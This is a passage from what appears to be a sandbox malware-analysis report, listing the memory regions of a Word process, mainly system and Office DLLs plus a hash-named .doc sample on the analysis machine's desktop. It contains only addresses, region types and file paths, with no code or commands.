"c:\\windows\\syswow64\\d3d10_1core.dll") Region: id = 409 start_va = 0x6a850000 end_va = 0x6a87bfff monitored = 0 entry_point = 0x6a8724b0 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\SysWOW64\\d3d10_1.dll" (normalized: "c:\\windows\\syswow64\\d3d10_1.dll") Region: id = 410 start_va = 0x6a880000 end_va = 0x6a997fff monitored = 0 entry_point = 0x6a8840b1 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\msptls.dll") Region: id = 411 start_va = 0x6a9a0000 end_va = 0x6a9e3fff monitored = 0 entry_point = 0x6a9baaf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 412 start_va = 0x6a9f0000 end_va = 0x6a9fefff monitored = 0 entry_point = 0x6a9f2a50 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 413 start_va = 0x6aa00000 end_va = 0x6ad88fff monitored = 0 entry_point = 0x6aa9cc60 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 414 start_va = 0x6ad90000 end_va = 0x6bb41fff monitored = 0 entry_point = 0x6ad91000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 415 start_va = 0x6bb50000 end_va = 0x6c0e7fff monitored = 0 entry_point = 0x6bb51000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 416 start_va = 0x6c0f0000 end_va = 0x6c804fff monitored = 0 entry_point = 0x6c0f1000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 417 start_va = 0x6c810000 end_va = 0x6cb11fff monitored = 0 entry_point = 0x6c811000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 418 start_va = 0x6cb20000 end_va = 0x6ccf4fff monitored = 0 entry_point = 0x6cb21000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 419 start_va = 0x6cd00000 end_va = 0x6d8f1fff monitored = 0 entry_point = 0x6cd01000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\OART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\oart.dll") Region: id = 420 start_va = 0x6d900000 end_va = 0x6da6afff monitored = 0 entry_point = 0x6d96e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 421 start_va = 0x6da70000 end_va = 0x6f6d1fff monitored = 0 entry_point = 0x6da71000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\WWLIB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\wwlib.dll") Region: id = 422 start_va = 0x6f6e0000 end_va = 0x6f7c0fff monitored = 0 entry_point = 0x6f70e6b0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\SysWOW64\\ucrtbase.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase.dll") Region: id = 423 start_va = 0x6f820000 end_va = 0x6f96afff monitored = 0 entry_point = 0x6f881660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 424 start_va = 0x6f970000 end_va = 0x6f9a2fff monitored = 0 entry_point = 0x6f980e70 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 425 start_va = 0x6f9b0000 end_va = 0x6f9b9fff monitored = 0 entry_point = 0x6f9b3200 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 426 start_va = 0x6fad0000 end_va = 0x6fce7fff monitored = 0 entry_point = 0x6fb797b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\SysWOW64\\d3d10warp.dll" (normalized: "c:\\windows\\syswow64\\d3d10warp.dll") Region: id = 427 start_va = 0x70140000 end_va = 0x7015cfff monitored = 0 entry_point = 0x70147240 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\SysWOW64\\sppc.dll" (normalized: "c:\\windows\\syswow64\\sppc.dll") Region: id = 428 start_va = 0x70160000 end_va = 0x7017ffff monitored = 0 entry_point = 0x70172810 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 429 start_va = 0x70180000 end_va = 0x70185fff monitored = 0 entry_point = 0x70181490 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 430 start_va = 0x70190000 end_va = 0x701fffff monitored = 0 entry_point = 0x701cec20 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\SysWOW64\\msvcp140.dll" (normalized: "c:\\windows\\syswow64\\msvcp140.dll") Region: id = 431 start_va = 0x70200000 end_va = 0x70213fff monitored = 0 entry_point = 0x7020e290 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\SysWOW64\\vcruntime140.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140.dll") Region: id = 432 start_va = 0x70220000 end_va = 0x7024cfff monitored = 0 entry_point = 0x70232b00 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 433 start_va = 0x70640000 end_va = 0x7070cfff monitored = 0 entry_point = 0x706929c0 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll") Region: id = 434 start_va = 0x70710000 end_va = 0x707b6fff monitored = 0 entry_point = 0x70746240 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\SysWOW64\\dcomp.dll" (normalized: "c:\\windows\\syswow64\\dcomp.dll") Region: id = 435 start_va = 0x707c0000 end_va = 0x709d9fff monitored = 0 entry_point = 0x70855550 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll") Region: id = 436 start_va = 0x70c80000 end_va = 0x70d02fff monitored = 0 entry_point = 0x70ca37c0 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll") Region: id = 437 start_va = 0x70d10000 end_va = 0x70f00fff monitored = 0 entry_point = 0x70df3cd0 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll") Region: id = 438 start_va = 0x70f10000 end_va = 0x7139dfff monitored = 0 entry_point = 0x7129a320 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\SysWOW64\\d2d1.dll" (normalized: "c:\\windows\\syswow64\\d2d1.dll") Region: id = 439 start_va = 0x713a0000 end_va = 0x713bcfff monitored = 0 entry_point = 0x713a3b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 440 start_va = 0x71560000 end_va = 0x7157afff monitored = 0 entry_point = 0x71569050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 441 start_va = 0x72cb0000 end_va = 0x72d24fff monitored = 0 entry_point = 0x72ce9a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 442 start_va = 0x72dd0000 end_va = 0x72fdefff monitored = 0 entry_point = 0x72e7b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 443 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 444 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 445 start_va = 0x73f20000 end_va = 0x73f2efff monitored = 0 entry_point = 0x73f22e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 446 start_va = 0x73f30000 end_va = 0x73f8efff monitored = 0 entry_point = 0x73f34af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 447 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 448 start_va = 0x74340000 end_va = 0x743c3fff monitored = 0 entry_point = 0x74366220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 449 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 450 start_va = 0x74520000 end_va = 0x745acfff monitored = 0 entry_point = 0x74569b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 451 start_va = 0x745b0000 end_va = 0x74aa8fff monitored = 0 entry_point = 0x747b7610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 452 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 453 start_va = 0x74dc0000 end_va = 0x74eaafff monitored = 0 entry_point = 0x74dfd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 454 start_va = 0x74eb0000 end_va = 0x762aefff monitored = 0 entry_point = 0x7506b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 455 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 456 start_va = 0x76470000 end_va = 0x764b3fff monitored = 0 entry_point = 0x76477410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 457 start_va = 0x764e0000 end_va = 0x765fefff monitored = 0 entry_point = 0x76525980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 458 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 459 start_va = 0x76680000 end_va = 0x76711fff monitored = 0 entry_point = 0x766b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 460 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 461 start_va = 0x76800000 end_va = 0x76836fff monitored = 0 entry_point = 0x76803b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 462 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 463 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 464 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 465 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 466 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 467 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 468 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 469 start_va = 0x77170000 end_va = 0x771c9fff monitored = 0 entry_point = 0x77197e70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\SysWOW64\\coml2.dll" (normalized: "c:\\windows\\syswow64\\coml2.dll") Region: id = 470 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 471 start_va = 0x7fea0000 end_va = 0x7feaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fea0000" filename = "" Region: id = 472 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 473 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 474 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 475 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 476 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 477 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 478 start_va = 0x717a0000 end_va = 0x7191dfff monitored = 0 entry_point = 0x7181c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 479 start_va = 0x73b80000 end_va = 0x73e4afff monitored = 0 entry_point = 0x73dbc4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 480 start_va = 0x810000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 481 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 482 start_va = 0xf760000 end_va = 0xfbd8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.docba7dbbec0628a4adb69c2e05863abdoc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.docba7dbbec0628a4adb69c2e05863abdoc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.docba7dbbec0628a4adb69c2e05863abdoc") Region: id = 483 start_va = 0x69650000 end_va = 0x69659fff monitored = 0 entry_point = 0x69652a34 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\wordcnvpxy.cnv") Region: id = 484 start_va = 0x69650000 end_va = 0x69659fff monitored = 0 entry_point = 0x69652a34 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\wordcnvpxy.cnv") Region: id = 485 start_va = 0x69650000 end_va = 0x6965bfff monitored = 0 entry_point = 0x696528fd region_type = mapped_file name = "recovr32.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\recovr32.cnv") Region: id = 486 start_va = 0x69630000 end_va = 0x6964ffff monitored = 0 entry_point = 0x6963c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 487 start_va = 0x69620000 end_va = 0x69651fff monitored = 0 entry_point = 0x6963c742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 488 start_va = 0x69600000 end_va = 0x6961ffff monitored = 0 entry_point = 0x6960c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 489 start_va = 0x69620000 end_va = 0x6965efff monitored = 0 entry_point = 0x69644c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 490 start_va = 0x69600000 end_va = 0x6961ffff monitored = 0 entry_point = 0x6960c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 491 start_va = 0x69620000 end_va = 0x69651fff monitored = 0 entry_point = 0x6963c742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 492 start_va = 0x69600000 end_va = 0x6961ffff monitored = 0 entry_point = 0x6960c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 493 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 494 start_va = 0xf760000 end_va = 0xfbd8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc") Region: id = 495 start_va = 0x69620000 end_va = 0x6965efff monitored = 0 entry_point = 0x69644c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 496 start_va = 0x69600000 end_va = 0x6961ffff monitored = 0 entry_point = 0x6960c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 497 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 498 start_va = 0xce50000 end_va = 0xd08cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc") Region: id = 499 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 500 start_va = 0xf760000 end_va = 0xfbd8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc") Region: id = 501 start_va = 0x69620000 end_va = 0x69651fff monitored = 0 entry_point = 0x6963c742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 502 start_va = 0x69600000 end_va = 0x6961ffff monitored = 0 entry_point = 0x6960c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 503 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 504 start_va = 0xf760000 end_va = 0xfbd8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc") Region: id = 505 start_va = 0x69620000 end_va = 0x6965efff monitored = 0 entry_point = 0x69644c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 506 start_va = 0x69600000 end_va = 0x6961ffff monitored = 0 entry_point = 0x6960c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 507 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 508 start_va = 0xce50000 end_va = 0xd08cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc") Region: id = 509 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 510 start_va = 0xf760000 end_va = 0xfbd8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\23b9a20a59041fc7d484957e49ffa7e0f6dba7dbbec0628a4adb69c2e05863ab.doc") Region: id = 511 start_va = 0xf360000 end_va = 0xf75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f360000" filename = "" Region: id = 512 start_va = 0xf360000 end_va = 0xfb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f360000" filename = "" Region: id = 513 start_va = 0xfb60000 end_va = 0xff34fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb60000" filename = "" Region: id = 514 start_va = 0xff40000 end_va = 0x10307fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ff40000" filename = "" Region: id = 515 start_va = 0xce50000 end_va = 0xd03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ce50000" filename = "" Region: id = 516 start_va = 0xfb60000 end_va = 0xfd4cfff monitored = 1 entry_point = 0x0 region_type = private 